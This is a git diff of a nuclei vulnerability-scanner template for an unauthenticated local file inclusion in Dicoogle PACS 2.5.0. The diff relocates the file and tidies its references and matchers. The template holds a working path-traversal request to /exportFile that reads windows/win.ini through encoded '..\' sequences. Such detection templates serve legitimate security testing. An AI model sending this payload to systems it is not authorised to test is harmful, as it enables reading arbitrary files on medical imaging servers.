diff --git a/dicoogle-pacs-lfi.yaml b/vulnerabilities/other/dicoogle-pacs-lfi.yaml similarity index 87% rename from dicoogle-pacs-lfi.yaml rename to vulnerabilities/other/dicoogle-pacs-lfi.yaml index 8f38c36ece..84da5d8927 100644 --- a/dicoogle-pacs-lfi.yaml +++ b/vulnerabilities/other/dicoogle-pacs-lfi.yaml @@ -5,7 +5,9 @@ info: author: 0x_akoko severity: high description: In version 2.5.0, it is vulnerable to local file inclusion. This allows an attacker to read arbitrary files that the web user has access to. Admin credentials aren't required. - reference: https://cxsecurity.com/issue/WLB-2018070131 + reference: + - https://cxsecurity.com/issue/WLB-2018070131 + - http://www.dicoogle.com/home tags: windows,lfi,dicoogle requests: @@ -13,12 +15,11 @@ requests: path: - "{{BaseURL}}/exportFile?UID=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini" - stop-at-first-match: true matchers: - type: word + part: body words: - "bit app support" - "fonts" - "extensions" condition: and - part: body